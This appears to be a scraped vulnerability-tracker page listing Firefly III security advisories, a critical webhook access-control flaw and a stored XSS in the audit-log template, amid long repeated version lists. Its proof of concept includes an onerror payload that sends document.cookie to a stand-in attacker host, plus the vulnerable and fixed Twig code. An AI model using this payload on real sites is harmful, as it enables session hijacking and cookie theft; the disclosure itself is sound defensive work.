            5.5.0-beta.1


            5.5.0-beta.2


            5.5.0-beta.3


            5.5.1


            5.5.10


            5.5.11


            5.5.12


            5.5.13


            5.5.2


            5.5.3


            5.5.4


            5.5.5


            5.5.6


            5.5.7


            5.5.8


            5.5.9


            5.6.0


            5.6.0-alpha.1


            5.6.0-alpha.2


            5.6.1


            5.6.10


            5.6.11


            5.6.12


            5.6.13


            5.6.14


            5.6.15


            5.6.16


            5.6.2


            5.6.3


            5.6.4


            5.6.5


            5.6.6


            5.6.7


            5.6.8


            5.6.9


            5.7.0


            5.7.1


            5.7.10


            5.7.11


            5.7.12


            5.7.13


            5.7.14


            5.7.15


            5.7.16


            5.7.17


            5.7.18


            5.7.2


            5.7.3


            5.7.4


            5.7.5


            5.7.6


            5.7.7


            5.7.8


            5.7.9


            5.8.0-alpha.1


            6.0.0-alpha.1


            6.0.0-alpha.2


            6.0.0-beta.1


            6.0.9


            v6.0.0


            v6.0.0-beta.2


            v6.0.1


            v6.0.10


            v6.0.11


            v6.0.12


            v6.0.13


            v6.0.14


            v6.0.15


            v6.0.16


            v6.0.17


            v6.0.18


            v6.0.19


            v6.0.2


            v6.0.20


            v6.0.21


            v6.0.22


            v6.0.23


            v6.0.24


            v6.0.25


            v6.0.26


            v6.0.27


            v6.0.28


            v6.0.29


            v6.0.3


            v6.0.30


            v6.0.4


            v6.0.5


            v6.0.6


            v6.0.7


            v6.0.8


            v6.1.0


            v6.1.0-alpha.1


            v6.1.1


            v6.1.10


            v6.1.11


            v6.1.12


            v6.1.13


            v6.1.14


            v6.1.15


            v6.1.16


            v6.1.17


            v6.1.18


            v6.1.19


            v6.1.2


            v6.1.20


            v6.1.21


            v6.1.22


            v6.1.23


            v6.1.24


            v6.1.25


            v6.1.3


            v6.1.4


            v6.1.5


            v6.1.6


            v6.1.7


            v6.1.8


            v6.1.9


            v6.2.0


            v6.2.0-alpha.1


            v6.2.0-alpha.2


            v6.2.0-beta.1


            v6.2.1


            v6.2.10


            v6.2.11


            v6.2.12


            v6.2.13


            v6.2.14


            v6.2.15


            v6.2.16


            v6.2.17


            v6.2.18


            v6.2.19


            v6.2.2


            v6.2.20


            v6.2.21


            v6.2.3


            v6.2.4


            v6.2.5


            v6.2.6


            v6.2.7


            v6.2.8


            v6.2.9


            v6.3.0


            v6.3.0-beta.1


            v6.3.0-beta.2


            v6.3.1


            v6.3.2


            v6.4.0


            v6.4.1


            v6.4.10


            v6.4.11


            v6.4.12


            v6.4.13


            v6.4.14


            v6.4.15


            v6.4.16


            v6.4.17


            v6.4.18


            v6.4.19


            v6.4.2


            v6.4.20


            v6.4.21


            v6.4.22


            v6.4.23


            v6.4.3


            v6.4.4


            v6.4.5


            v6.4.6


            v6.4.7


            v6.4.8


            v6.4.9


            v6.5.0


            v6.5.1


            v6.5.2


            v6.5.3


            v6.5.4


            v6.5.5


            v6.5.6


            v6.5.7


            v6.5.8


            v6.5.9


            v6.6.0


            v6.6.1


            v6.6.2

Fixed in


          6.6.3

References

Updated Sep 10, 2026 · Source: OSV.dev

Mar 15, 2026

v6.5.5 patch

2 CVEs

CVE-2026-50886 GHSA-9mmg-q95p-gp67 Jun 15, 2026

Project Firefly III has incorrect access control in the webhook management component

9.1 / 10

Critical

Network Low None None Unchanged High High None

Incorrect access control in the webhook management component of Project Firefly III v6.5.9 allows attackers to scan internal resources via a crafted POST request.

Affected versions


          3.0.0


          3.0.1


          3.0.2


          3.0.3

3.1


          3.1.1


          3.1.2


          3.1.3


          3.1.4


          3.1.5


          3.1.6


          3.10

+ 397 more


            3.10.1


            3.10.2


            3.10.3


            3.10.4


            3.2.0


            3.2.1


            3.2.2


            3.2.3


            3.2.4


            3.2.5

3.3


            3.3.1


            3.3.2


            3.3.3


            3.3.4


            3.3.5


            3.3.6


            3.3.7


            3.3.8


            3.3.9

3.4


            3.4.0.1


            3.4.0.10


            3.4.0.2


            3.4.0.3


            3.4.0.4


            3.4.0.5


            3.4.0.6


            3.4.0.7


            3.4.0.8


            3.4.0.9


            3.4.1


            3.4.10


            3.4.11


            3.4.2


            3.4.3


            3.4.4


            3.4.4.1


            3.4.4.2


            3.4.5


            3.4.6


            3.4.6.1


            3.4.7


            3.4.8


            3.4.9


            3.5.0


            3.5.1


            3.5.2


            3.5.3


            3.5.4


            3.5.5


            3.5.6


            3.5.6.1


            3.6.0


            3.6.1


            3.7.0


            3.7.1


            3.7.2


            3.7.2.1


            3.7.2.2


            3.7.2.3


            3.8.0


            3.8.1


            3.8.2


            3.8.3


            3.8.4


            3.9.0


            3.9.1


            4.0.0


            4.0.1


            4.0.2


            4.1.0


            4.1.1


            4.1.2


            4.1.3


            4.1.4


            4.1.5


            4.1.6


            4.1.7


            4.2.0


            4.2.1


            4.2.2


            4.3.0


            4.3.1


            4.3.2


            4.3.3


            4.3.4


            4.3.5


            4.3.6


            4.3.7


            4.3.8


            4.4.0


            4.4.1


            4.4.2


            4.4.3


            4.5.0


            4.6.0


            4.6.1


            4.6.10


            4.6.11


            4.6.11.1


            4.6.12


            4.6.13


            4.6.2


            4.6.3


            4.6.3.1


            4.6.4


            4.6.5


            4.6.6


            4.6.7


            4.6.8


            4.6.9


            4.7.0


            4.7.1


            4.7.1.1


            4.7.1.2


            4.7.1.3


            4.7.1.4


            4.7.10


            4.7.11


            4.7.12


            4.7.12.1


            4.7.13


            4.7.14


            4.7.15


            4.7.16


            4.7.17


            4.7.17.1


            4.7.17.2


            4.7.17.3


            4.7.17.4


            4.7.17.5


            4.7.17.6


            4.7.2


            4.7.2.1


            4.7.2.2


            4.7.3


            4.7.3.1


            4.7.3.2


            4.7.4


            4.7.5


            4.7.5.1


            4.7.5.2


            4.7.5.3


            4.7.6


            4.7.6.1


            4.7.6.2


            4.7.7


            4.7.8


            4.7.9


            4.8.0


            4.8.0.1


            4.8.0.2


            4.8.0.3


            4.8.1


            4.8.1.1


            4.8.1.2


            4.8.1.3


            4.8.1.4


            4.8.1.5


            4.8.1.6


            4.8.1.7


            4.8.1.8


            4.8.2


            4.8.2-alpha.1


            4.8.2-alpha.2


            4.8.2-alpha.3


            4.8.2-alpha.4


            4.8.2-alpha.5


            4.8.2-alpha.6


            4.8.2-beta.1


            4.8.2-beta.2


            4.8.3-alpha.1


            5.0.0


            5.0.0-alpha.1


            5.0.0-alpha.2


            5.0.0-beta.1


            5.0.1


            5.0.2


            5.0.3


            5.0.4


            5.0.5


            5.1.0


            5.1.0-alpha.1


            5.1.0-beta.1


            5.1.1


            5.2.0


            5.2.0-alpha.1


            5.2.0-beta.1


            5.2.1


            5.2.2


            5.2.3


            5.2.4


            5.2.5


            5.2.6


            5.2.7


            5.2.8


            5.3.0


            5.3.0-alpha.1


            5.3.0-beta.1


            5.3.0-beta.2


            5.3.1


            5.3.2


            5.3.3


            5.4.0


            5.4.0-alpha.1


            5.4.0-alpha.2


            5.4.0-alpha.3


            5.4.0-beta.1


            5.4.1


            5.4.2


            5.4.3


            5.4.4


            5.4.5


            5.4.6


            5.5.0


            5.5.0-beta.1


            5.5.0-beta.2


            5.5.0-beta.3


            5.5.1


            5.5.10


            5.5.11


            5.5.12


            5.5.13


            5.5.2


            5.5.3


            5.5.4


            5.5.5


            5.5.6


            5.5.7


            5.5.8


            5.5.9


            5.6.0


            5.6.0-alpha.1


            5.6.0-alpha.2


            5.6.1


            5.6.10


            5.6.11


            5.6.12


            5.6.13


            5.6.14


            5.6.15


            5.6.16


            5.6.2


            5.6.3


            5.6.4


            5.6.5


            5.6.6


            5.6.7


            5.6.8


            5.6.9


            5.7.0


            5.7.1


            5.7.10


            5.7.11


            5.7.12


            5.7.13


            5.7.14


            5.7.15


            5.7.16


            5.7.17


            5.7.18


            5.7.2


            5.7.3


            5.7.4


            5.7.5


            5.7.6


            5.7.7


            5.7.8


            5.7.9


            5.8.0-alpha.1


            6.0.0-alpha.1


            6.0.0-alpha.2


            6.0.0-beta.1


            6.0.9


            v6.0.0


            v6.0.0-beta.2


            v6.0.1


            v6.0.10


            v6.0.11


            v6.0.12


            v6.0.13


            v6.0.14


            v6.0.15


            v6.0.16


            v6.0.17


            v6.0.18


            v6.0.19


            v6.0.2


            v6.0.20


            v6.0.21


            v6.0.22


            v6.0.23


            v6.0.24


            v6.0.25


            v6.0.26


            v6.0.27


            v6.0.28


            v6.0.29


            v6.0.3


            v6.0.30


            v6.0.4


            v6.0.5


            v6.0.6


            v6.0.7


            v6.0.8


            v6.1.0


            v6.1.0-alpha.1


            v6.1.1


            v6.1.10


            v6.1.11


            v6.1.12


            v6.1.13


            v6.1.14


            v6.1.15


            v6.1.16


            v6.1.17


            v6.1.18


            v6.1.19


            v6.1.2


            v6.1.20


            v6.1.21


            v6.1.22


            v6.1.23


            v6.1.24


            v6.1.25


            v6.1.3


            v6.1.4


            v6.1.5


            v6.1.6


            v6.1.7


            v6.1.8


            v6.1.9


            v6.2.0


            v6.2.0-alpha.1


            v6.2.0-alpha.2


            v6.2.0-beta.1


            v6.2.1


            v6.2.10


            v6.2.11


            v6.2.12


            v6.2.13


            v6.2.14


            v6.2.15


            v6.2.16


            v6.2.17


            v6.2.18


            v6.2.19


            v6.2.2


            v6.2.20


            v6.2.21


            v6.2.3


            v6.2.4


            v6.2.5


            v6.2.6


            v6.2.7


            v6.2.8


            v6.2.9


            v6.3.0


            v6.3.0-beta.1


            v6.3.0-beta.2


            v6.3.1


            v6.3.2


            v6.4.0


            v6.4.1


            v6.4.10


            v6.4.11


            v6.4.12


            v6.4.13


            v6.4.14


            v6.4.15


            v6.4.16


            v6.4.17


            v6.4.18


            v6.4.19


            v6.4.2


            v6.4.20


            v6.4.21


            v6.4.22


            v6.4.23


            v6.4.3


            v6.4.4


            v6.4.5


            v6.4.6


            v6.4.7


            v6.4.8


            v6.4.9


            v6.5.0


            v6.5.1


            v6.5.2


            v6.5.3


            v6.5.4


            v6.5.5


            v6.5.6


            v6.5.7


            v6.5.8


            v6.5.9

References

Updated Aug 27, 2026 · Source: OSV.dev

GHSA-6jq6-x4cx-qvcm Jun 12, 2026

Firefly II has Stored XSS in Audit Log Entry view via piggy bank name (ale.twig)

Medium

Network Low Low

Summary

The Twig template resources/views/list/ale.twig renders the piggy bank name from AuditLogEntry.after.piggy using the |raw filter, bypassing Twig's auto-escaping. A piggy bank created with an HTML payload in its name executes arbitrary JavaScript in any browser viewing that transaction's audit log.

Root Cause

The |raw filter is required on the outer trans() call to preserve  tags in the amount parameter (currency styling). However, this also disables escaping for the user-controlled name parameter.

Vulnerable code (resources/views/list/ale.twig lines 107, 110):

{{ trans('firefly.ale_action_log_add', {
    amount: formatAmountBySymbol(...),
    name: logEntry.after.piggy
})|raw }}

No HTML sanitization at storage time — PiggyBankStoreRequest only validates min:1|max:255|uniquePiggyBankForUser.

Data Flow

POST /api/v1/piggy-banks {"name": "<img src=x onerror=...>"}
  → Stored verbatim in piggy_banks.name
  → Transaction rule fires add_to_piggy / remove_from_piggy
  → UpdatePiggyBank::handle() stores AuditLogEntry.after.piggy = raw name
  → Any user views /transactions/show/{id}
  → ale.twig outputs unescaped payload → XSS fires

CSP Note

The nonce-based CSP (script-src 'nonce-...' 'strict-dynamic') does not prevent this attack. Inline event handlers (onerror, onload) in HTML attributes are governed by script-src-attr, which is unrestricted in the current policy. The <img onerror=...> payload bypasses the nonce requirement entirely.

PoC

Authenticate as any user
POST /api/v1/piggy-banks with "name": "<img src=x onerror=fetch('https://attacker.com?c='+document.cookie)>"
Create a rule: action = "Add money to piggy bank [attacker's piggy bank]"
Trigger the rule on any transaction
Visit /transactions/show/{id} → payload fires

Confirmed server response (v6.6.2):

Added <span class="text-success money-positive">EUR 50.00</span> to piggy bank
"<img src=x onerror=alert(document.cookie)>"

Impact

Stored XSS persists in DB — fires for every user who views the transaction
Cookie theft → session hijacking
In multi-user setups: one user attacks another user or admin
Chainable with CSRF-like operations

Fix

PR #12271 (merged into develop): add |e to escape only the user-controlled name parameter.

{{ trans('firefly.ale_action_log_add', {
    amount: formatAmountBySymbol(...),
    name: logEntry.after.piggy|e
})|raw }}

Affected versions


          3.0.0


          3.0.1


          3.0.2


          3.0.3

3.1


          3.1.1


          3.1.2


          3.1.3


          3.1.4


          3.1.5


          3.1.6


          3.10

+ 400 more


            3.10.1


            3.10.2


            3.10.3


            3.10.4


            3.2.0


            3.2.1


            3.2.2


            3.2.3


            3.2.4


            3.2.5

3.3


            3.3.1


            3.3.2


            3.3.3


            3.3.4


            3.3.5


            3.3.6


            3.3.7


            3.3.8


            3.3.9

3.4


            3.4.0.1


            3.4.0.10


            3.4.0.2


            3.4.0.3


            3.4.0.4


            3.4.0.5


            3.4.0.6


            3.4.0.7


            3.4.0.8


            3.4.0.9


            3.4.1


            3.4.10


            3.4.11


            3.4.2


            3.4.3


            3.4.4


            3.4.4.1


            3.4.4.2


            3.4.5


            3.4.6


            3.4.6.1


            3.4.7


            3.4.8


            3.4.9


            3.5.0


            3.5.1


            3.5.2


            3.5.3


            3.5.4


            3.5.5


            3.5.6


            3.5.6.1


            3.6.0


            3.6.1


            3.7.0


            3.7.1


            3.7.2


            3.7.2.1


            3.7.2.2


            3.7.2.3


            3.8.0


            3.8.1


            3.8.2


            3.8.3


            3.8.4


            3.9.0


            3.9.1


            4.0.0


            4.0.1


            4.0.2


            4.1.0


            4.1.1


            4.1.2


            4.1.3


            4.1.4


            4.1.5


            4.1.6


            4.1.7


            4.2.0


            4.2.1


            4.2.2


            4.3.0


            4.3.1


            4.3.2


            4.3.3


            4.3.4


            4.3.5


            4.3.6


            4.3.7


            4.3.8


            4.4.0


            4.4.1


            4.4.2


            4.4.3


            4.5.0


            4.6.0


            4.6.1


            4.6.10


            4.6.11


            4.6.11.1


            4.6.12


            4.6.13


            4.6.2


            4.6.3


            4.6.3.1


            4.6.4


            4.6.5


            4.6.6


            4.6.7


            4.6.8


            4.6.9


            4.7.0


            4.7.1


            4.7.1.1


            4.7.1.2


            4.7.1.3


            4.7.1.4


            4.7.10


            4.7.11


            4.7.12


            4.7.12.1


            4.7.13


            4.7.14


            4.7.15


            4.7.16


            4.7.17


            4.7.17.1


            4.7.17.2


            4.7.17.3


            4.7.17.4


            4.7.17.5


            4.7.17.6


            4.7.2


            4.7.2.1


            4.7.2.2


            4.7.3


            4.7.3.1


            4.7.3.2


            4.7.4


            4.7.5


            4.7.5.1


            4.7.5.2


            4.7.5.3


            4.7.6


            4.7.6.1


            4.7.6.2


            4.7.7


            4.7.8


            4.7.9


            4.8.0


            4.8.0.1


            4.8.0.2


            4.8.0.3


            4.8.1


            4.8.1.1


            4.8.1.2


            4.8.1.3


            4.8.1.4


            4.8.1.5


            4.8.1.6


            4.8.1.7


            4.8.1.8


            4.8.2


            4.8.2-alpha.1


            4.8.2-alpha.2


            4.8.2-alpha.3


            4.8.2-alpha.4


            4.8.2-alpha.5


            4.8.2-alpha.6


            4.8.2-beta.1


            4.8.2-beta.2


            4.8.3-alpha.1


            5.0.0


            5.0.0-alpha.1


            5.0.0-alpha.2


            5.0.0-beta.1


            5.0.1


            5.0.2


            5.0.3


            5.0.4


            5.0.5


            5.1.0


            5.1.0-alpha.1


            5.1.0-beta.1


            5.1.1


            5.2.0


            5.2.0-alpha.1


            5.2.0-beta.1


            5.2.1


            5.2.2


            5.2.3


            5.2.4


            5.2.5


            5.2.6


            5.2.7


            5.2.8


            5.3.0


            5.3.0-alpha.1


            5.3.0-beta.1


            5.3.0-beta.2


            5.3.1


            5.3.2


            5.3.3


            5.4.0


            5.4.0-alpha.1


            5.4.0-alpha.2


            5.4.0-alpha.3


            5.4.0-beta.1


            5.4.1


            5.4.2


            5.4.3


            5.4.4


            5.4.5


            5.4.6


            5.5.0


            5.5.0-beta.1


            5.5.0-beta.2


            5.5.0-beta.3


            5.5.1


            5.5.10


            5.5.11


            5.5.12


            5.5.13


            5.5.2


            5.5.3


            5.5.4


            5.5.5


            5.5.6


            5.5.7


            5.5.8


            5.5.9


            5.6.0


            5.6.0-alpha.1


            5.6.0-alpha.2


            5.6.1


            5.6.10


            5.6.11


            5.6.12


            5.6.13


            5.6.14


            5.6.15


            5.6.16


            5.6.2


            5.6.3


            5.6.4


            5.6.5


            5.6.6


            5.6.7


            5.6.8


            5.6.9


            5.7.0


            5.7.1


            5.7.10


            5.7.11


            5.7.12


            5.7.13


            5.7.14


            5.7.15


            5.7.16


            5.7.17


            5.7.18


            5.7.2


            5.7.3


            5.7.4


            5.7.5


            5.7.6


            5.7.7


            5.7.8


            5.7.9


            5.8.0-alpha.1


            6.0.0-alpha.1


            6.0.0-alpha.2


            6.0.0-beta.1


            6.0.9


            v6.0.0


            v6.0.0-beta.2


            v6.0.1


            v6.0.10


            v6.0.11


            v6.0.12


            v6.0.13


            v6.0.14


            v6.0.15


            v6.0.16


            v6.0.17


            v6.0.18


            v6.0.19


            v6.0.2


            v6.0.20


            v6.0.21


            v6.0.22


            v6.0.23


            v6.0.24


            v6.0.25


            v6.0.26


            v6.0.27


            v6.0.28


            v6.0.29


            v6.0.3


            v6.0.30


            v6.0.4


            v6.0.5


            v6.0.6


            v6.0.7


            v6.0.8


            v6.1.0


            v6.1.0-alpha.1


            v6.1.1


            v6.1.10


            v6.1.11


            v6.1.12


            v6.1.13


            v6.1.14


            v6.1.15


            v6.1.16


            v6.1.17


            v6.1.18


            v6.1.19


            v6.1.2


            v6.1.20


            v6.1.21


            v6.1.22


            v6.1.23


            v6.1.24


            v6.1.25


            v6.1.3


            v6.1.4


            v6.1.5


            v6.1.6


            v6.1.7


            v6.1.8


            v6.1.9


            v6.2.0


            v6.2.0-alpha.1


            v6.2.0-alpha.2


            v6.2.0-beta.1


            v6.2.1


            v6.2.10


            v6.2.11


            v6.2.12


            v6.2.13


            v6.2.14


            v6.2.15


            v6.2.16


            v6.2.17


            v6.2.18


            v6.2.19


            v6.2.2


            v6.2.20


            v6.2.21


            v6.2.3


            v6.2.4


            v6.2.5


            v6.2.6


            v6.2.7


            v6.2.8


            v6.2.9


            v6.3.0


            v6.3.0-beta.1


            v6.3.0-beta.2


            v6.3.1


            v6.3.2


            v6.4.0


            v6.4.1


            v6.4.10


            v6.4.11


            v6.4.12


            v6.4.13


            v6.4.14


            v6.4.15


            v6.4.16


            v6.4.17


            v6.4.18


            v6.4.19


            v6.4.2


            v6.4.20


            v6.4.21


            v6.4.22


            v6.4.23


            v6.4.3


            v6.4.4


            v6.4.5


            v6.4.6


            v6.4.7


            v6.4.8


            v6.4.9


            v6.5.0


            v6.5.1


            v6.5.2


            v6.5.3


            v6.5.4


            v6.5.5


            v6.5.6


            v6.5.7


            v6.5.8


            v6.5.9


            v6.6.0


            v6.6.1


            v6.6.2

Fixed in


          6.6.3

References

Updated Sep 10, 2026 · Source: OSV.dev

Mar 15, 2026

v6.5.4 patch

2 CVEs

CVE-2026-50886 GHSA-9mmg-q95p-gp67 Jun 15, 2026

Project Firefly III has incorrect access control in the webhook management component

9.1 / 10

Critical

Network Low None None Unchanged High High None

Incorrect access control in the webhook management component of Project Firefly III v6.5.9 allows attackers to scan internal resources via a crafted POST request.

Affected versions


          3.0.0


          3.0.1


          3.0.2


          3.0.3

3.1


          3.1.1


          3.1.2


          3.1.3


          3.1.4


          3.1.5


          3.1.6


          3.10

+ 397 more


            3.10.1


            3.10.2


            3.10.3


            3.10.4


            3.2.0


            3.2.1


            3.2.2


            3.2.3


            3.2.4


            3.2.5

3.3


            3.3.1


            3.3.2


            3.3.3


            3.3.4


            3.3.5


            3.3.6


            3.3.7


            3.3.8


            3.3.9

3.4


            3.4.0.1


            3.4.0.10


            3.4.0.2


            3.4.0.3


            3.4.0.4


            3.4.0.5


            3.4.0.6


            3.4.0.7


            3.4.0.8


            3.4.0.9


            3.4.1


            3.4.10


            3.4.11


            3.4.2


            3.4.3


            3.4.4


            3.4.4.1


            3.4.4.2


            3.4.5


            3.4.6


            3.4.6.1


            3.4.7


            3.4.8


            3.4.9


            3.5.0


            3.5.1


            3.5.2


            3.5.3


            3.5.4


            3.5.5


            3.5.6


            3.5.6.1


            3.6.0


            3.6.1


            3.7.0


            3.7.1


            3.7.2


            3.7.2.1


            3.7.2.2


            3.7.2.3


            3.8.0


            3.8.1


            3.8.2


            3.8.3


            3.8.4


            3.9.0


            3.9.1


            4.0.0


            4.0.1


            4.0.2


            4.1.0


            4.1.1


            4.1.2


            4.1.3


            4.1.4


            4.1.5


            4.1.6


            4.1.7


            4.2.0


            4.2.1


            4.2.2


            4.3.0


            4.3.1


            4.3.2


            4.3.3


            4.3.4


            4.3.5


            4.3.6


            4.3.7


            4.3.8


            4.4.0


            4.4.1


            4.4.2


            4.4.3


            4.5.0


            4.6.0


            4.6.1


            4.6.10


            4.6.11


            4.6.11.1


            4.6.12


            4.6.13


            4.6.2


            4.6.3


            4.6.3.1


            4.6.4


            4.6.5


            4.6.6


            4.6.7


            4.6.8


            4.6.9


            4.7.0


            4.7.1


            4.7.1.1


            4.7.1.2


            4.7.1.3


            4.7.1.4


            4.7.10


            4.7.11


            4.7.12


            4.7.12.1


            4.7.13


            4.7.14


            4.7.15


            4.7.16


            4.7.17


            4.7.17.1


            4.7.17.2


            4.7.17.3


            4.7.17.4


            4.7.17.5


            4.7.17.6


            4.7.2


            4.7.2.1


            4.7.2.2


            4.7.3


            4.7.3.1


            4.7.3.2


            4.7.4


            4.7.5


            4.7.5.1


            4.7.5.2


            4.7.5.3


            4.7.6


            4.7.6.1


            4.7.6.2


            4.7.7


            4.7.8


            4.7.9


            4.8.0


            4.8.0.1


            4.8.0.2


            4.8.0.3


            4.8.1


            4.8.1.1


            4.8.1.2


            4.8.1.3


            4.8.1.4


            4.8.1.5


            4.8.1.6


            4.8.1.7


            4.8.1.8


            4.8.2


            4.8.2-alpha.1


            4.8.2-alpha.2


            4.8.2-alpha.3


            4.8.2-alpha.4


            4.8.2-alpha.5


            4.8.2-alpha.6


            4.8.2-beta.1


            4.8.2-beta.2


            4.8.3-alpha.1


            5.0.0


            5.0.0-alpha.1


            5.0.0-alpha.2


            5.0.0-beta.1


            5.0.1


            5.0.2


            5.0.3


            5.0.4


            5.0.5


            5.1.0


            5.1.0-alpha.1


            5.1.0-beta.1


            5.1.1


            5.2.0


            5.2.0-alpha.1


            5.2.0-beta.1


            5.2.1


            5.2.2


            5.2.3


            5.2.4


            5.2.5


            5.2.6


            5.2.7


            5.2.8


            5.3.0


            5.3.0-alpha.1


            5.3.0-beta.1


            5.3.0-beta.2


            5.3.1


            5.3.2


            5.3.3


            5.4.0


            5.4.0-alpha.1


            5.4.0-alpha.2


            5.4.0-alpha.3


            5.4.0-beta.1


            5.4.1


            5.4.2


            5.4.3


            5.4.4


            5.4.5


            5.4.6


            5.5.0


            5.5.0-beta.1


            5.5.0-beta.2


            5.5.0-beta.3


            5.5.1


            5.5.10


            5.5.11


            5.5.12


            5.5.13


            5.5.2


            5.5.3


            5.5.4


            5.5.5


            5.5.6


            5.5.7


            5.5.8


            5.5.9


            5.6.0


            5.6.0-alpha.1


            5.6.0-alpha.2


            5.6.1


            5.6.10


            5.6.11


            5.6.12


            5.6.13


            5.6.14


            5.6.15


            5.6.16


            5.6.2


            5.6.3


            5.6.4


            5.6.5


            5.6.6


            5.6.7


            5.6.8


            5.6.9


            5.7.0


            5.7.1


            5.7.10


            5.7.11


            5.7.12


            5.7.13


            5.7.14


            5.7.15


            5.7.16


            5.7.17


            5.7.18


            5.7.2


            5.7.3


            5.7.4


            5.7.5


            5.7.6


            5.7.7


            5.7.8


            5.7.9


            5.8.0-alpha.1


            6.0.0-alpha.1


            6.0.0-alpha.2


            6.0.0-beta.1


            6.0.9


            v6.0.0


            v6.0.0-beta.2


            v6.0.1


            v6.0.10


            v6.0.11


            v6.0.12


            v6.0.13


            v6.0.14


            v6.0.15


            v6.0.16


            v6.0.17


            v6.0.18


            v6.0.19


            v6.0.2


            v6.0.20


            v6.0.21


            v6.0.22


            v6.0.23


            v6.0.24


            v6.0.25


            v6.0.26


            v6.0.27


            v6.0.28


            v6.0.29


            v6.0.3


            v6.0.30


            v6.0.4


            v6.0.5


            v6.0.6


            v6.0.7


            v6.0.8


            v6.1.0


            v6.1.0-alpha.1


            v6.1.1


            v6.1.10


            v6.1.11


            v6.1.12


            v6.1.13


            v6.1.14


            v6.1.15


            v6.1.16


            v6.1.17


            v6.1.18


            v6.1.19


            v6.1.2


            v6.1.20


            v6.1.21


            v6.1.22


            v6.1.23


            v6.1.24


            v6.1.25


            v6.1.3


            v6.1.4


            v6.1.5


            v6.1.6


            v6.1.7


            v6.1.8


            v6.1.9


            v6.2.0


            v6.2.0-alpha.1


            v6.2.0-alpha.2


            v6.2.0-beta.1


            v6.2.1


            v6.2.10


            v6.2.11


            v6.2.12


            v6.2.13


            v6.2.14


            v6.2.15


            v6.2.16


            v6.2.17


            v6.2.18


            v6.2.19


            v6.2.2


            v6.2.20


            v6.2.21


            v6.2.3


            v6.2.4


            v6.2.5


            v6.2.6


            v6.2.7


            v6.2.8


            v6.2.9


            v6.3.0


            v6.3.0-beta.1


            v6.3.0-beta.2


            v6.3.1


            v6.3.2


            v6.4.0


            v6.4.1


            v6.4.10


            v6.4.11


            v6.4.12


            v6.4.13


            v6.4.14


            v6.4.15


            v6.4.16


            v6.4.17


            v6.4.18


            v6.4.19


            v6.4.2


            v6.4.20


            v6.4.21


            v6.4.22


            v6.4.23


            v6.4.3


            v6.4.4


            v6.4.5


            v6.4.6


            v6.4.7


            v6.4.8


            v6.4.9


            v6.5.0


            v6.5.1


            v6.5.2


            v6.5.3


            v6.5.4


            v6.5.5


            v6.5.6


            v6.5.7


            v6.5.8


            v6.5.9

References

Updated Aug 27, 2026 · Source: OSV.dev

GHSA-6jq6-x4cx-qvcm Jun 12, 2026

Firefly II has Stored XSS in Audit Log Entry view via piggy bank name (ale.twig)

Medium

Network Low Low

Summary

The Twig template resources/views/list/ale.twig renders the piggy bank name from AuditLogEntry.after.piggy using the |raw filter, bypassing Twig's auto-escaping. A piggy bank created with an HTML payload in its name executes arbitrary JavaScript in any browser viewing that transaction's audit log.

Root Cause

The |raw filter is required on the outer trans() call to preserve  tags in the amount parameter (currency styling). However, this also disables escaping for the user-controlled name parameter.

Vulnerable code (resources/views/list/ale.twig lines 107, 110):

{{ trans('firefly.ale_action_log_add', {
    amount: formatAmountBySymbol(...),
    name: logEntry.after.piggy
})|raw }}

No HTML sanitization at storage time — PiggyBankStoreRequest only validates min:1|max:255|uniquePiggyBankForUser.

Data Flow

POST /api/v1/piggy-banks {"name": "<img src=x onerror=...>"}
  → Stored verbatim in piggy_banks.name
  → Transaction rule fires add_to_piggy / remove_from_piggy
  → UpdatePiggyBank::handle() stores AuditLogEntry.after.piggy = raw name
  → Any user views /transactions/show/{id}
  → ale.twig outputs unescaped payload → XSS fires

CSP Note

The nonce-based CSP (script-src 'nonce-...' 'strict-dynamic') does not prevent this attack. Inline event handlers (onerror, onload) in HTML attributes are governed by script-src-attr, which is unrestricted in the current policy. The <img onerror=...> payload bypasses the nonce requirement entirely.

PoC

Authenticate as any user
POST /api/v1/piggy-banks with "name": "<img src=x onerror=fetch('https://attacker.com?c='+document.cookie)>"
Create a rule: action = "Add money to piggy bank [attacker's piggy bank]"
Trigger the rule on any transaction
Visit /transactions/show/{id} → payload fires

Confirmed server response (v6.6.2):

Added <span class="text-success money-positive">EUR 50.00</span> to piggy bank
"<img src=x onerror=alert(document.cookie)>"

Impact

Stored XSS persists in DB — fires for every user who views the transaction
Cookie theft → session hijacking
In multi-user setups: one user attacks another user or admin
Chainable with CSRF-like operations

Fix

PR #12271 (merged into develop): add |e to escape only the user-controlled name parameter.

{{ trans('firefly.ale_action_log_add', {
    amount: formatAmountBySymbol(...),
    name: logEntry.after.piggy|e
})|raw }}

Affected versions


          3.0.0


          3.0.1


          3.0.2


          3.0.3

3.1


          3.1.1


          3.1.2


          3.1.3


          3.1.4


          3.1.5


          3.1.6


          3.10

+ 400 more


            3.10.1


            3.10.2


            3.10.3


            3.10.4


            3.2.0


            3.2.1


            3.2.2


            3.2.3


            3.2.4


            3.2.5

3.3


            3.3.1


            3.3.2


            3.3.3


            3.3.4


            3.3.5


            3.3.6


            3.3.7


            3.3.8


            3.3.9

3.4


            3.4.0.1


            3.4.0.10


            3.4.0.2


            3.4.0.3


            3.4.0.4


            3.4.0.5


            3.4.0.6


            3.4.0.7


            3.4.0.8


            3.4.0.9


            3.4.1


            3.4.10


            3.4.11


            3.4.2


            3.4.3


            3.4.4


            3.4.4.1


            3.4.4.2


            3.4.5


            3.4.6


            3.4.6.1


            3.4.7


            3.4.8


            3.4.9


            3.5.0


            3.5.1


            3.5.2


            3.5.3


            3.5.4


            3.5.5


            3.5.6


            3.5.6.1


            3.6.0


            3.6.1


            3.7.0


            3.7.1


            3.7.2


            3.7.2.1


            3.7.2.2


            3.7.2.3


            3.8.0


            3.8.1


            3.8.2


            3.8.3


            3.8.4


            3.9.0


            3.9.1


            4.0.0


            4.0.1


            4.0.2


            4.1.0


            4.1.1


            4.1.2


            4.1.3


            4.1.4


            4.1.5


            4.1.6


            4.1.7


            4.2.0


            4.2.1


            4.2.2


            4.3.0


            4.3.1


            4.3.2


            4.3.3


            4.3.4


            4.3.5


            4.3.6


            4.3.7


            4.3.8


            4.4.0


            4.4.1


            4.4.2


            4.4.3


            4.5.0


            4.6.0


            4.6.1


            4.6.10


            4.6.11


            4.6.11.1


            4.6.12


            4.6.13


            4.6.2


            4.6.3


            4.6.3.1


            4.6.4


            4.6.5


            4.6.6


            4.6.7


            4.6.8


            4.6.9


            4.7.0


            4.7.1


            4.7.1.1


            4.7.1.2


            4.7.1.3


            4.7.1.4


            4.7.10


            4.7.11


            4.7.12


            4.7.12.1


            4.7.13


            4.7.14


            4.7.15


